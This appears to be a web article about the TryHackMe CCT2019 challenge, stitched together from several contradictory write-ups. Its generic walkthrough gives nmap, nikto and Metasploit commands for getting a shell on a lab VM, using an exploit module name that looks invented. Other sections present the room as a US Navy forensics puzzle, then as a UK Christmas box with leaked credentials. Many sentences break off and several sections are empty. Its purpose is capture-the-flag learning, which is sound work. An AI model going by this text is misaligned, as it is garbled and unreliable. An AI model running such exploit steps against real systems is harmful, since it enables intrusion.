TryHackMe CCT2019: A Comprehensive Guide to the Challenge

TryHackMe is a popular online platform that offers a variety of virtual hacking challenges and tutorials for individuals looking to improve their cybersecurity skills. One of the most notable challenges on the platform is the CCT2019 challenge, which is designed to simulate a real-world hacking scenario. In this article, we will provide a comprehensive guide to the TryHackMe CCT2019 challenge, including a walkthrough of the challenge, tips and tricks, and a discussion of the skills and knowledge required to complete it.

What is the TryHackMe CCT2019 Challenge?

The CCT2019 challenge on TryHackMe is a virtual hacking challenge that is designed to test a participant's skills in penetration testing, vulnerability assessment, and exploitation. The challenge is based on a real-world scenario and involves hacking into a virtual machine (VM) to gain access to sensitive information. The challenge is designed for intermediate-level hackers and is intended to provide a realistic simulation of a penetration testing engagement.

Objective of the Challenge

The objective of the CCT2019 challenge is to gain access to the VM and retrieve a sensitive file that contains critical information. The challenge involves several stages, including:

  1. Reconnaissance: Gathering information about the target VM and identifying potential vulnerabilities.
  2. Exploitation: Exploiting vulnerabilities to gain access to the VM.
  3. Post-exploitation: Navigating the VM and retrieving the sensitive file.

Walkthrough of the Challenge

To complete the CCT2019 challenge, participants must follow a series of steps that involve reconnaissance, exploitation, and post-exploitation. Here is a walkthrough of the challenge:

Step 1: Reconnaissance

The first step in the challenge is to gather information about the target VM. This can be done using tools such as Nmap, which is a popular network scanning tool. Participants must scan the VM to identify open ports and services.

nmap -sV <IP address of VM>

The scan results will reveal open ports and services, including a web server running on port 80.

Step 2: Identifying Vulnerabilities

Once the open ports and services have been identified, participants must look for potential vulnerabilities. In this case, the web server is running a vulnerable version of Apache. Participants can use tools such as Nikto to scan the web server for vulnerabilities.

nikto -h <IP address of VM>

The Nikto scan will reveal a potential vulnerability in the Apache version.

Step 3: Exploitation

With the vulnerability identified, participants can use a tool such as Metasploit to exploit the vulnerability and gain access to the VM.

msfconsole
use exploit/apache/mod_cgid_oob
set RHOST <IP address of VM>
set LHOST <IP address of your machine>
exploit

The exploit will provide a shell on the VM.

Step 4: Post-exploitation

Once participants have gained access to the VM, they must navigate the file system to retrieve the sensitive file. This involves using basic Linux commands such as cd, ls, and cat to navigate the file system.

cd /home/user
ls
cat sensitive_file.txt

The sensitive file will contain critical information that is required to complete the challenge.

Tips and Tricks

Here are some tips and tricks that can help participants complete the CCT2019 challenge:

Skills and Knowledge Required

To complete the CCT2019 challenge, participants will need to have a good understanding of the following skills and knowledge:

Conclusion

The TryHackMe CCT2019 challenge is a comprehensive and realistic simulation of a penetration testing engagement. By completing the challenge, participants can gain valuable experience and skills in penetration testing, vulnerability assessment, and exploitation. With the right tools and knowledge, participants can successfully complete the challenge and improve their cybersecurity skills.

Report: TryHackMe CCT2019 Challenge Analysis

Phase 3: Steganography & Forensics

This is often the most popular section of CTFs. It involves hiding data inside innocuous-looking

The CCT2019 room on TryHackMe is a "legacy" challenge based on the 2019 U.S. Navy Cyber Competition Team assessment. Unlike standard "grab-the-flag" rooms, it is a high-pressure, analytical gauntlet that focuses on digital forensics, traffic reconstruction, and reverse engineering. Narrative: The Case of the Navy Assessment

Imagine yourself as a recruit for the U.S. Tenth Fleet cyber division. Your mission isn't just to find a string of text; it's to reconstruct a fragmented digital crime scene.

1. The USB Capture (pcap2.pcapng)The story begins with a raw packet capture of USB traffic. To the untrained eye, it’s just noise, but using tools like tshark and binwalk, you extract a hidden second layer: a nested file called pcap_chal.pcapng.

2. The "Rail Fence" and the Nested ZipAfter cracking the traffic, you’re met with a series of nested ZIP files and a cryptic note: "Don't straddle the fence or you'll end up riding a rail or five. It'll hurt from the bottom up".

The Solve: This isn't just advice—it’s a hint for the Rail Fence Cipher.

The Result: Decoding the text gives you the key to progress deeper into the assessment.

3. Look-and-Say LogicOne of the final hurdles involves a series of random numbers that look like gibberish. Realizing this is a "Look-and-Say" sequence (or Run-Length Encoding), you decode the binary patterns to reveal the final flag. Core Lessons from the Room

Analytical Depth: The room intentionally builds in misleading paths. Speed will get you stuck; validation will set you free.

Zero Trust Mindset: You cannot assume any artifact is valid just because it looks right. Every file must be questioned and tied back to evidence.

Tool Proficiency: Success requires a mastery of forensics tools like Wireshark, tshark, and CyberChef. CCT2019 - TryHackMe

room on TryHackMe, originally from the US Navy Cyber Competition Team, is less of a linear story and more of a gritty, disconnected puzzle set. However, when you piece the forensic and reversing challenges together, a narrative of

espionage, digital smuggling, and high-stakes cinematic references The "Put Together" Story

The narrative arc of CCT2019 feels like a modern techno-thriller where you play an investigator tracking a cell of sophisticated hackers: The Digital Handshake

: The story begins with a suspicious traffic capture. An unknown group has been passing sensitive files over an unconventional port—specifically The Cinematic Cipher

: You discover the files aren't just encrypted; they are wrapped in

. In a nod to 90s hacker culture, the "password" protecting this digital contraband is BER5348833

—the same identification used by Angela Bennett in the classic film The Hidden Payload

: Once you break the encryption, the story moves into the "RE" (Reverse Engineering) phase. You are no longer just looking at traffic; you are dissecting the custom tools the hackers left behind to understand their next move. Room Context : Created by the US Navy Cyber Competition Team and sponsored by the US TENTH Fleet Difficulty : Rated as

, reflecting the high-level forensic skills required to "put together" the clues. Core Skills : You will need to master PCAP analysis Cryptcat decryption Assembly-level reversing to finish the tale. or a guide to the RE3 reversing challenge? CCT2019 - TryHackMe

In-Depth Analysis: TryHackMe’s CCT2019 Cyber Challenge

Phase 2: Privilege Escalation on Machine 1

The Breach on Santa’s Network: A TryHackMe CCT2019 Story

It was December 2019, and the Cyber Security Challenge UK had just released a festive but fierce competition: the CCT (Cyber Christmas TryHackMe) 2019 box. For three weeks, aspiring defenders and seasoned pentesters logged into TryHackMe to help "save Christmas" by investigating a series of digital attacks on Santa’s workshop.

Phase 4: Final Challenge – Cross‑Machine Flag

Step 1: Reconnaissance – Scanning the Frozen Perimeter

Your first task is to enumerate the compromised machine. Using nmap, you discover open ports: 22 (SSH), 80 (HTTP), and 31337 (an unusual high port).

nmap -sC -sV 10.10.10.100

Port 80 hosts a rudimentary "North Pole Inventory Portal." A quick directory bust with gobuster reveals /backup and /admin. The /admin page is protected by HTTP Basic Auth, but the backup folder contains a users.txt.bak file.

Inside:
claus:rudolph123
elf:workshop2019

Bingo. Weak credentials strike again.

Phase 3: Initial Foothold Attempt

The MySQL password does not directly grant SSH access. However, revisiting the web server with further enumeration reveals another hidden directory: /admin.

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Setting up the WiFi Pineapple NANO
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